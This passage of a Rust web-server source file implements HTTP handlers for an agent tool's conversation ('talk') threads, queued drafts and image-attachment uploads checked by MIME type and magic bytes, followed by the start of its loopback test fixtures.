4649 (header::CONTENT_TYPE, content_type),
4650 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
4651 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4652 (header::REFERRER_POLICY, "no-referrer"),
4653 ],
4654 body,
4655 )
4656 .into_response();
4657 if download {
4658 res.headers_mut().insert(
4659 header::CONTENT_DISPOSITION,
4660 HeaderValue::from_static("attachment"),
4661 );
4662 }
4663 res
4664}
4665
4666#[derive(Debug, Serialize)]
4672struct TalkView {
4673 #[serde(flatten)]
4674 talk: Talk,
4675 turn_bodies_md: Vec<Vec<md::Node>>,
4676 thinking: bool,
4684}
4685
4686impl TalkView {
4687 fn new(talk: Talk, thinking: bool) -> Self {
4688 let turn_bodies_md = talk
4689 .turns
4690 .iter()
4691 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4692 .collect();
4693 Self {
4694 turn_bodies_md,
4695 thinking,
4696 talk,
4697 }
4698 }
4699}
4700
4701#[derive(Debug, Serialize)]
4706struct TalkDetailView {
4707 #[serde(flatten)]
4708 view: TalkView,
4709 tasks: Vec<TaskView>,
4710}
4711
4712async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4717 blocking(move || {
4718 Ok(Json(
4719 ui.talks
4720 .list()
4721 .into_iter()
4722 .map(|talk| {
4723 let thinking = ui.is_thinking(&talk.id);
4724 TalkView::new(talk, thinking)
4725 })
4726 .collect(),
4727 ))
4728 })
4729 .await
4730}
4731
4732#[derive(Debug, Default, Deserialize)]
4737#[serde(default)]
4738struct NewTalk {
4739 agent: Option<String>,
4740 repo: Option<PathBuf>,
4741}
4742
4743async fn talk_post(
4746 State(ui): State<Arc<Ui>>,
4747 body: std::result::Result<Json<NewTalk>, JsonRejection>,
4748) -> ApiResult<impl IntoResponse> {
4749 let body = match body {
4753 Ok(Json(body)) => body,
4754 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4755 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4756 };
4757 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4758 let cfg = config_for(&repo).await?;
4759 let view = blocking(move || {
4760 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4761 let thinking = ui.is_thinking(&talk.id);
4762 Ok(TalkView::new(talk, thinking))
4763 })
4764 .await?;
4765 Ok((StatusCode::CREATED, Json(view)))
4766}
4767
4768async fn talk_detail(
4770 State(ui): State<Arc<Ui>>,
4771 Path(id): Path<String>,
4772) -> ApiResult<Json<TalkDetailView>> {
4773 blocking(move || {
4774 let id = resolve_talk(&ui.talks, &id)?;
4775 let talk = ui.talks.get(&id)?;
4776 let thinking = ui.is_thinking(&talk.id);
4777 let tasks = talk::tasks_of(&ui.queue, &talk.id)
4778 .into_iter()
4779 .map(TaskView::from)
4780 .collect();
4781 Ok(Json(TalkDetailView {
4782 view: TalkView::new(talk, thinking),
4783 tasks,
4784 }))
4785 })
4786 .await
4787}
4788
4789#[derive(Debug, Default, Deserialize)]
4795#[serde(default, deny_unknown_fields)]
4796struct NewTalkTurn {
4797 text: String,
4798 attachments: Vec<String>,
4799}
4800
4801#[derive(Debug, Deserialize)]
4802#[serde(deny_unknown_fields)]
4803struct EditTalkPending {
4804 text: String,
4805 expected_text: String,
4806 expected_attachments: Vec<String>,
4807}
4808
4809#[derive(Debug, Deserialize)]
4810#[serde(deny_unknown_fields)]
4811struct ClearTalkPending {
4812 expected_text: String,
4813 expected_attachments: Vec<String>,
4814}
4815
4816async fn talk_say(
4828 State(ui): State<Arc<Ui>>,
4829 Path(id): Path<String>,
4830 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4831) -> ApiResult<(StatusCode, Json<TalkView>)> {
4832 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4833 if body.text.trim().is_empty() && body.attachments.is_empty() {
4834 return Err(ApiError::bad_request("say something"));
4835 }
4836
4837 let id = {
4838 let ui = Arc::clone(&ui);
4839 let asked = id.clone();
4840 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4841 };
4842 {
4846 let ui = Arc::clone(&ui);
4847 let id = id.clone();
4848 blocking(move || {
4849 let talk = ui.talks.get(&id)?;
4850 if !talk.status.open() {
4851 return Err(ApiError::conflict(format!(
4852 "talk {} is {} and takes no more turns",
4853 talk.short(),
4854 talk.status.as_str()
4855 )));
4856 }
4857 Ok(())
4858 })
4859 .await?;
4860 }
4861
4862 let attachments = {
4867 let ui = Arc::clone(&ui);
4868 let id = id.clone();
4869 let ids = body.attachments.clone();
4870 blocking(move || {
4871 ids.into_iter()
4872 .map(|att_id| {
4873 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4874 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4875 })
4876 })
4877 .collect::<ApiResult<Vec<talk::Attachment>>>()
4878 })
4879 .await?
4880 };
4881
4882 let start = {
4887 let ui = Arc::clone(&ui);
4888 let id = id.clone();
4889 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4890 };
4891 let turn_guard = match start {
4892 TalkTurnStart::Claimed(turn_guard) => turn_guard,
4893 TalkTurnStart::Pending => {
4894 return Err(ApiError::conflict(
4895 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4896 ));
4897 }
4898 TalkTurnStart::Busy => {
4899 let (tx, rx) = tokio::sync::oneshot::channel();
4915 tokio::spawn({
4916 let ui = Arc::clone(&ui);
4917 let id = id.clone();
4918 let said = body.text.clone();
4919 async move {
4920 let written = blocking({
4921 let ui = Arc::clone(&ui);
4922 let id = id.clone();
4923 move || {
4924 let mut talk = ui.talks.get(&id)?;
4925 #[cfg(test)]
4930 if let Some(gate) = ui
4931 .busy_queue_gate
4932 .lock()
4933 .unwrap_or_else(PoisonError::into_inner)
4934 .take()
4935 {
4936 let _ = gate.reached.send(());
4937 let _ = gate.release.recv();
4938 }
4939 if let Err(error) =
4940 talk::queue(&mut talk, &ui.talks, &said, attachments)
4941 {
4942 if let Ok(fresh) = ui.talks.get(&id) {
4943 if !fresh.status.open() {
4944 return Err(ApiError::conflict(format!(
4945 "talk {} is {} and takes no more turns",
4946 fresh.short(),
4947 fresh.status.as_str()
4948 )));
4949 }
4950 }
4951 return Err(ApiError::from(error));
4952 }
4953 let claim = match ui.begin_queued_talk_turn(&id)? {
4964 Some(turn_guard) => {
4965 let (cfg, _) = Config::discover(&talk.repo, None)?;
4966 Some((talk.clone(), cfg, turn_guard))
4967 }
4968 None => None,
4969 };
4970 let thinking = ui.is_thinking(&id);
4971 Ok((TalkView::new(talk, thinking), claim))
4972 }
4973 })
4974 .await;
4975 let (view, reclaimed) = match written {
4976 Ok(pair) => pair,
4977 Err(e) => {
4978 let _ = tx.send(Err(e));
4983 return;
4984 }
4985 };
4986 let _ = tx.send(Ok(view));
4989 if let Some((talk, cfg, turn_guard)) = reclaimed {
4990 let talks = ui.talks.clone();
4991 drain_loop(talk, talks, cfg, id, turn_guard).await;
4992 }
4993 }
4994 });
4995 let view = rx
4996 .await
4997 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4998 return Ok((StatusCode::ACCEPTED, Json(view)));
4999 }
5000 };
5001
5002 let (talk, cfg) = {
5003 let ui = Arc::clone(&ui);
5004 let id = id.clone();
5005 blocking(move || {
5006 let talk = ui.talks.get(&id)?;
5007 let (cfg, _) = Config::discover(&talk.repo, None)?;
5008 Ok((talk, cfg))
5009 })
5010 .await?
5011 };
5012
5013 let talks = ui.talks.clone();
5014 let (tx, rx) = tokio::sync::oneshot::channel();
5029 tokio::spawn({
5030 let ui = Arc::clone(&ui);
5031 let talks = talks.clone();
5032 let id = id.clone();
5033 let said = body.text.clone();
5034 let mut talk = talk.clone();
5035 async move {
5036 let recorded = blocking({
5037 let talks = talks.clone();
5038 move || {
5039 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5040 if let Ok(fresh) = talks.get(&talk.id) {
5041 if !fresh.status.open() {
5042 return Err(ApiError::conflict(format!(
5043 "talk {} is {} and takes no more turns",
5044 fresh.short(),
5045 fresh.status.as_str()
5046 )));
5047 }
5048 }
5049 return Err(ApiError::from(error));
5050 }
5051 Ok((said.trim().to_owned(), talk))
5057 }
5058 })
5059 .await;
5060 let (text, mut talk) = match recorded {
5061 Ok(pair) => pair,
5062 Err(e) => {
5063 let _ = tx.send(Err(e));
5067 return;
5068 }
5069 };
5070 let queued = talk.clone();
5071 let thinking = ui.is_thinking(&id);
5072 let _ = tx.send(Ok((queued, thinking)));
5075
5076 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5077 tracing::warn!("talk {id} turn failed: {e:#}");
5081 }
5082 drain_loop(talk, talks, cfg, id, turn_guard).await;
5085 }
5086 });
5087
5088 let (queued, thinking) = rx
5089 .await
5090 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5091
5092 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5094}
5095
5096async fn talk_pending_resume(
5100 State(ui): State<Arc<Ui>>,
5101 Path(id): Path<String>,
5102) -> ApiResult<(StatusCode, Json<TalkView>)> {
5103 let id = {
5104 let ui = Arc::clone(&ui);
5105 let asked = id.clone();
5106 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5107 };
5108 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5109 return Err(ApiError::conflict(
5110 "a talk turn is already running; the queued draft will be handled by it",
5111 ));
5112 };
5113 let (talk, cfg) = {
5114 let ui = Arc::clone(&ui);
5115 let id = id.clone();
5116 blocking(move || {
5117 let talk = ui.talks.get(&id)?;
5118 if !talk.status.open() {
5119 return Err(ApiError::conflict(format!(
5120 "talk {} is {} and takes no more turns",
5121 talk.short(),
5122 talk.status.as_str()
5123 )));
5124 }
5125 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5126 return Err(ApiError::conflict("there is no queued draft to resume"));
5127 }
5128 let (cfg, _) = Config::discover(&talk.repo, None)?;
5129 Ok((talk, cfg))
5130 })
5131 .await?
5132 };
5133 let view = TalkView::new(talk.clone(), true);
5134 let talks = ui.talks.clone();
5135 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5136 Ok((StatusCode::ACCEPTED, Json(view)))
5137}
5138
5139async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5155 let live_set = Arc::clone(&turn.turns);
5156 let mut turn = Some(turn);
5164 loop {
5165 let observed = live_set
5169 .lock()
5170 .unwrap_or_else(PoisonError::into_inner)
5171 .queued
5172 .get(&id)
5173 .copied()
5174 .unwrap_or(0);
5175 let drained = blocking({
5176 let talks = talks.clone();
5177 move || {
5178 let result = talk::drain(&mut talk, &talks);
5179 Ok((talk, result))
5180 }
5181 })
5182 .await;
5183 let (next_talk, result) = match drained {
5184 Ok(drained) => drained,
5185 Err(e) => {
5186 tracing::warn!(
5187 status = %e.status,
5188 message = %e.message,
5189 "talk {id} could not start queued-text drain"
5190 );
5191 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5192 turn.take()
5193 .expect("held for the whole loop until released here")
5194 .release(&mut live);
5195 break;
5196 }
5197 };
5198 talk = next_talk;
5199 let drained = match result {
5200 Ok(Some(drained)) => drained,
5201 Ok(None) => {
5202 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5203 if live.queued.get(&id).copied().unwrap_or(0) != observed {
5204 continue;
5205 }
5206 turn.take()
5207 .expect("held for the whole loop until released here")
5208 .release(&mut live);
5209 break;
5210 }
5211 Err(e) => {
5212 tracing::warn!("talk {id} could not drain queued text: {e:#}");
5213 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5214 turn.take()
5215 .expect("held for the whole loop until released here")
5216 .release(&mut live);
5217 break;
5218 }
5219 };
5220 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5221 tracing::warn!("talk {id} turn failed: {e:#}");
5222 }
5223 }
5224}
5225
5226async fn talk_pending_clear(
5228 State(ui): State<Arc<Ui>>,
5229 Path(id): Path<String>,
5230 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
5231) -> ApiResult<Json<TalkView>> {
5232 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5233 blocking(move || {
5234 let id = resolve_talk(&ui.talks, &id)?;
5235 let mut talk = ui.talks.get(&id)?;
5236 if !talk.status.open() {
5237 return Err(ApiError::conflict(format!(
5238 "talk {} is {} and takes no more turns",
5239 talk.short(),
5240 talk.status.as_str()
5241 )));
5242 }
5243 if !talk::clear_pending_if_matches(
5244 &mut talk,
5245 &ui.talks,
5246 &body.expected_text,
5247 &body.expected_attachments,
5248 )? {
5249 return Err(ApiError::conflict(
5250 "queued message changed; reload it before clearing",
5251 ));
5252 }
5253 let thinking = ui.is_thinking(&talk.id);
5254 Ok(Json(TalkView::new(talk, thinking)))
5255 })
5256 .await
5257}
5258
5259async fn talk_pending_edit(
5263 State(ui): State<Arc<Ui>>,
5264 Path(id): Path<String>,
5265 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
5266) -> ApiResult<Json<TalkView>> {
5267 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5268 let (view, reclaimed) = blocking({
5269 let ui = Arc::clone(&ui);
5270 move || {
5271 let id = resolve_talk(&ui.talks, &id)?;
5272 let mut talk = ui.talks.get(&id)?;
5273 if !talk.status.open() {
5274 return Err(ApiError::conflict(format!(
5275 "talk {} is {} and takes no more turns",
5276 talk.short(),
5277 talk.status.as_str()
5278 )));
5279 }
5280 if !talk::edit_pending_text(
5281 &mut talk,
5282 &ui.talks,
5283 &body.text,
5284 &body.expected_text,
5285 &body.expected_attachments,
5286 )? {
5287 return Err(ApiError::conflict(
5288 "queued message changed; reload it before editing",
5289 ));
5290 }
5291 let claim = match ui.begin_queued_talk_turn(&id)? {
5292 Some(turn_guard) => {
5293 let (cfg, _) = Config::discover(&talk.repo, None)?;
5294 Some((talk.clone(), cfg, id.clone(), turn_guard))
5295 }
5296 None => None,
5297 };
5298 let thinking = ui.is_thinking(&id);
5299 Ok((TalkView::new(talk, thinking), claim))
5300 }
5301 })
5302 .await?;
5303 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
5304 let talks = ui.talks.clone();
5305 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5306 }
5307 Ok(Json(view))
5308}
5309
5310async fn talk_close(
5312 State(ui): State<Arc<Ui>>,
5313 Path(id): Path<String>,
5314) -> ApiResult<Json<TalkView>> {
5315 blocking(move || {
5316 let id = resolve_talk(&ui.talks, &id)?;
5317 let mut talk = ui.talks.get(&id)?;
5318 talk::close(&mut talk, &ui.talks)?;
5319 let thinking = ui.is_thinking(&talk.id);
5320 Ok(Json(TalkView::new(talk, thinking)))
5321 })
5322 .await
5323}
5324
5325async fn talk_reopen(
5327 State(ui): State<Arc<Ui>>,
5328 Path(id): Path<String>,
5329) -> ApiResult<Json<TalkView>> {
5330 blocking(move || {
5331 let id = resolve_talk(&ui.talks, &id)?;
5332 let mut talk = ui.talks.get(&id)?;
5333 talk::reopen(&mut talk, &ui.talks)?;
5334 let thinking = ui.is_thinking(&talk.id);
5335 Ok(Json(TalkView::new(talk, thinking)))
5336 })
5337 .await
5338}
5339
5340async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5350 blocking(move || {
5351 let id = resolve_talk(&ui.talks, &id)?;
5352 ui.talks.remove(&id)?;
5353 Ok(StatusCode::NO_CONTENT)
5354 })
5355 .await
5356}
5357
5358fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
5360 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
5361}
5362
5363async fn talk_attachment_post(
5366 State(ui): State<Arc<Ui>>,
5367 Path(id): Path<String>,
5368 headers: HeaderMap,
5369 body: Bytes,
5370) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
5371 let mime = validate_attachment(&headers, &body)?;
5372 let name = filename_header(&headers);
5373 let data = body.to_vec();
5374 blocking(move || {
5375 let id = resolve_talk(&ui.talks, &id)?;
5376 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
5377 Ok((StatusCode::CREATED, Json(att)))
5378 })
5379 .await
5380}
5381
5382async fn talk_attachment_get(
5385 State(ui): State<Arc<Ui>>,
5386 Path((id, att)): Path<(String, String)>,
5387) -> ApiResult<Response> {
5388 blocking(move || {
5389 let id = resolve_talk(&ui.talks, &id)?;
5390 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
5391 return Err(ApiError::not_found(format!(
5392 "talk {id} has no attachment `{att}`"
5393 )));
5394 };
5395 Ok(attachment_response(&meta.mime, data))
5396 })
5397 .await
5398}
5399
5400fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
5411 if data.len() > ATTACHMENT_MAX_BYTES {
5412 return Err(ApiError::bad_request(format!(
5413 "attachment is {} bytes, over the {} MiB limit",
5414 data.len(),
5415 ATTACHMENT_MAX_BYTES / (1024 * 1024)
5416 ))
5417 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
5418 }
5419 if data.is_empty() {
5420 return Err(ApiError::bad_request("attachment is empty"));
5421 }
5422 let declared = declared_mime(headers)?;
5423 match sniffed_mime(data) {
5424 Some(sniffed) if sniffed == declared => Ok(declared),
5425 Some(sniffed) => Err(ApiError::bad_request(format!(
5426 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
5427 ))),
5428 None => Err(ApiError::bad_request(
5429 "the file's bytes do not match any accepted image format",
5430 )),
5431 }
5432}
5433
5434fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
5438 let raw = headers
5439 .get(header::CONTENT_TYPE)
5440 .and_then(|v| v.to_str().ok())
5441 .unwrap_or("")
5442 .split(';')
5443 .next()
5444 .unwrap_or("")
5445 .trim()
5446 .to_ascii_lowercase();
5447 ATTACHMENT_MIME_WHITELIST
5448 .iter()
5449 .find(|&&m| m == raw)
5450 .copied()
5451 .ok_or_else(|| {
5452 if raw == "image/svg+xml" {
5453 ApiError::bad_request(
5454 "SVG is not accepted: it can carry active content (e.g. a <script>), \
5455 not just a picture",
5456 )
5457 } else if raw.is_empty() {
5458 ApiError::bad_request("Content-Type is required for an attachment upload")
5459 } else {
5460 ApiError::bad_request(format!(
5461 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
5462 image/gif or image/webp"
5463 ))
5464 }
5465 })
5466}
5467
5468fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
5471 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
5472 Some("image/png")
5473 } else if data.starts_with(b"\xff\xd8\xff") {
5474 Some("image/jpeg")
5475 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
5476 Some("image/gif")
5477 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
5478 Some("image/webp")
5479 } else {
5480 None
5481 }
5482}
5483
5484fn filename_header(headers: &HeaderMap) -> String {
5490 headers
5491 .get(FILENAME_HEADER)
5492 .and_then(|v| v.to_str().ok())
5493 .map(str::trim)
5494 .filter(|s| !s.is_empty())
5495 .unwrap_or("attachment")
5496 .to_owned()
5497}
5498
5499fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
5506 let content_type = ATTACHMENT_MIME_WHITELIST
5507 .iter()
5508 .find(|&&m| m == mime)
5509 .copied()
5510 .unwrap_or("application/octet-stream");
5511 (
5512 [
5513 (header::CONTENT_TYPE, content_type),
5514 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5515 ],
5516 body,
5517 )
5518 .into_response()
5519}
5520
5521async fn config_for(repo: &FsPath) -> ApiResult<Config> {
5529 let repo = repo.to_path_buf();
5530 blocking(move || {
5531 let (cfg, _) = Config::discover(&repo, None)?;
5532 Ok(cfg)
5533 })
5534 .await
5535}
5536
5537fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
5543 let mut hits = ids
5544 .into_iter()
5545 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
5546 match (hits.next(), hits.next()) {
5547 (Some(one), None) => Ok(one),
5548 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
5549 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
5550 "`{prefix}` matches more than one {what}, including {a} and {b}"
5551 ))),
5552 }
5553}
5554
5555#[cfg(test)]
5556mod tests {
5557
5558 #[test]
5559 fn holder_reads_the_lease_not_the_record() {
5560 let mut q = Question::new(
5561 "run".to_owned(),
5562 "implement".to_owned(),
5563 "impl-A".to_owned(),
5564 "which?".to_owned(),
5565 String::new(),
5566 Vec::new(),
5567 );
5568 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
5569 q.cwd = Some("/tmp".to_owned());
5570 assert_eq!(holder_of(&q, None), Some("nobody"));
5571 let beat = |kind, ago: i64| ask::Lease {
5572 kind,
5573 pid: 1,
5574 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
5575 .unwrap(),
5576 };
5577 let fresh = beat(ask::WaiterKind::Asker, 1);
5578 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
5579 let daemon = beat(ask::WaiterKind::Daemon, 1);
5580 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
5581 let stale = beat(ask::WaiterKind::Asker, 3600);
5582 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
5583 }
5584 use pretty_assertions::assert_eq;
5585 use serde_json::Value;
5586 use tempfile::TempDir;
5587 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
5588
5589 use super::*;
5590 use crate::config::Config;
5591 use crate::queue::Source;
5592
5593 const SETTLE_STEPS: usize = 3_000;
5604
5605 struct Fixture {
5611 home: TempDir,
5612 addr: SocketAddr,
5613 }
5614
5615 impl Fixture {
5616 async fn start() -> Self {
5617 Self::with_loop(launch_idle).await
5618 }
5619
5620 async fn with_loop(launch: Launch) -> Self {
5622 let home = TempDir::new().expect("temp home");
5623 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
5624 Self { home, addr }
5625 }
5626
5627 async fn with_repo(repo: PathBuf) -> Self {
5631 let home = TempDir::new().expect("temp home");
5632 let addr = Self::serve(home.path(), repo, launch_idle).await;
5633 Self { home, addr }
5634 }
5635
5636 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
5637 let queue = Queue::at(home.join("queue"));
5638 let runs = home.join("runs");
5639 std::fs::create_dir_all(&runs).expect("runs dir");
5640 let worktrees = home.join("wt").join("magi");
5641 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
5642 let ui = Ui::new(
5643 queue,
5644 Questions::at(home.join("questions")),
5645 Talks::at(home.join("talks")),
5646 runs,
5647 home.to_path_buf(),
5648 repo,
5649 )
5650 .with_worktrees_root(worktrees)
5651 .with_launch(launch);
5652 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5653 .await
5654 .expect("bind loopback");
5655 let addr = listener.local_addr().expect("local addr");
5656 tokio::spawn(async move {
5657 let _ = axum::serve(listener, ui.router()).await;
5658 });
5659 addr
5660 }
5661
5662 fn queue(&self) -> Queue {
5663 Queue::at(self.home.path().join("queue"))
5664 }
5665
5666 fn questions(&self) -> Questions {
5667 Questions::at(self.home.path().join("questions"))
5668 }
5669
5670 fn talks(&self) -> Talks {
5671 Talks::at(self.home.path().join("talks"))
5672 }
5673
5674 fn runs(&self) -> PathBuf {
5675 self.home.path().join("runs")
5676 }
5677
5678 async fn get(&self, path: &str) -> Res {
5679 request(self.addr, "GET", path, None).await
5680 }
5681
5682 async fn head(&self, path: &str) -> Res {
5687 request(self.addr, "HEAD", path, None).await
5688 }
5689
5690 async fn post(&self, path: &str, body: Option<&str>) -> Res {
5691 request(self.addr, "POST", path, body).await
5692 }
5693
5694 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
5695 request_with(self.addr, "GET", path, None, extra).await
5696 }
5697
5698 async fn delete(&self, path: &str) -> Res {
5699 request(self.addr, "DELETE", path, None).await
5700 }
5701
5702 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
5704 request_bytes(self.addr, path, headers, body).await
5705 }
5706 }
5707
5708 struct Res {
5709 status: u16,
5710 headers: String,
5711 head: String,
5716 body: String,
5717 bytes: Vec<u8>,
5721 }
5722
5723 impl Res {
5724 fn json(&self) -> Value {
5725 serde_json::from_str(&self.body)
5726 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5727 }
5728
5729 fn header(&self, name: &str) -> Option<&str> {
5731 self.head.lines().find_map(|line| {
5732 let (key, value) = line.split_once(':')?;
5733 key.trim()
5734 .eq_ignore_ascii_case(name)
5735 .then(|| value.trim_start().trim_end_matches('\r'))
5736 })
5737 }
5738 }
5739
5740 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5743 request_with(addr, method, path, body, &[]).await
5744 }
5745
5746 async fn request_with(
5750 addr: SocketAddr,
5751 method: &str,
5752 path: &str,
5753 body: Option<&str>,
5754 extra: &[(&str, &str)],
5755 ) -> Res {
5756 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5757 for (name, value) in extra {
5758 head.push_str(&format!("{name}: {value}\r\n"));
5759 }
5760 if let Some(body) = body {
5761 head.push_str("Content-Type: application/json\r\n");
5762 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5763 }
5764 head.push_str("\r\n");
5765 if let Some(body) = body {
5766 head.push_str(body);
5767 }
5768 let mut socket = tokio::net::TcpStream::connect(addr)
5769 .await
5770 .expect("connect to the test server");
5771 socket
5772 .write_all(head.as_bytes())
5773 .await
5774 .expect("write request");
5775 let mut raw = Vec::new();
5776 socket.read_to_end(&mut raw).await.expect("read response");
5777 let split = raw
5780 .windows(4)
5781 .position(|w| w == b"\r\n\r\n")
5782 .expect("a header block");
5783 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5784 let bytes = raw[split + 4..].to_vec();
5785 let status = head
5786 .lines()
5787 .next()
5788 .and_then(|line| line.split_whitespace().nth(1))
5789 .and_then(|code| code.parse().ok())
5790 .expect("a status line");
5791 Res {
5792 status,
5793 headers: head.to_lowercase(),
5794 head,
5795 body: String::from_utf8_lossy(&bytes).into_owned(),
5796 bytes,
5797 }
5798 }
5799
5800 async fn request_bytes(
5806 addr: SocketAddr,
5807 path: &str,
5808 headers: &[(&str, &str)],
5809 body: &[u8],
5810 ) -> Res {
5811 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5812 for (name, value) in headers {
5813 head.push_str(&format!("{name}: {value}\r\n"));
5814 }
5815 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5816 let mut socket = tokio::net::TcpStream::connect(addr)
5817 .await
5818 .expect("connect to the test server");
5819 socket
5820 .write_all(head.as_bytes())
5821 .await
5822 .expect("write request head");
5823 socket.write_all(body).await.expect("write request body");
5824 let mut raw = Vec::new();
5825 socket.read_to_end(&mut raw).await.expect("read response");
5826 let split = raw
5827 .windows(4)
5828 .position(|w| w == b"\r\n\r\n")
5829 .expect("a header block");
5830 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5831 let bytes = raw[split + 4..].to_vec();
5832 let status = head
5833 .lines()
5834 .next()
5835 .and_then(|line| line.split_whitespace().nth(1))
5836 .and_then(|code| code.parse().ok())
5837 .expect("a status line");
5838 Res {
5839 status,
5840 headers: head.to_lowercase(),
5841 head,
5842 body: String::from_utf8_lossy(&bytes).into_owned(),
5843 bytes,
5844 }
5845 }
5846
5847 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5849 let mut state = RunState::new(
5850 PathBuf::from("/repo/magi"),
5851 "main".to_owned(),
5852 "0123456789abcdef".to_owned(),
5853 "Add a web UI\n\nMobile first.".to_owned(),
5854 Config::default(),
5855 );
5856 state.id = id.to_owned();
5857 state.status = status;
5858 let dir = runs.join(id);
5859 std::fs::create_dir_all(&dir).expect("run dir");
5860 std::fs::write(
5861 dir.join("run.json"),
5862 serde_json::to_string_pretty(&state).expect("serialize run"),
5863 )
5864 .expect("write run.json");
5865 }
5866
5867 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5871 let mut state = RunState::new(
5872 PathBuf::from(repo),
5873 "main".to_owned(),
5874 "0123456789abcdef".to_owned(),
5875 "task".to_owned(),
5876 Config::default(),
5877 );
5878 state.id = id.to_owned();
5879 state.status = status;
5880 let dir = runs.join(id);
5881 std::fs::create_dir_all(&dir).expect("run dir");
5882 std::fs::write(
5883 dir.join("run.json"),
5884 serde_json::to_string_pretty(&state).expect("serialize run"),
5885 )
5886 .expect("write run.json");
5887 }
5888
5889 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5890 let body = serde_json::json!({
5891 "schema": 1,
5892 "pid": 4242,
5893 "started_at": Timestamp::now().to_string(),
5894 "updated_at": updated_at.to_string(),
5895 "idle": false,
5896 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5897 "completed": 7,
5898 "polls": 143,
5899 });
5900 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5901 }
5902
5903 fn launch_idle(
5913 _opts: daemon::Opts,
5914 stop: daemon::Stop,
5915 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5916 Box::pin(async move {
5917 while !stop.stopped() {
5918 tokio::time::sleep(Duration::from_millis(2)).await;
5919 }
5920 Ok(())
5921 })
5922 }
5923
5924 fn launch_broken(
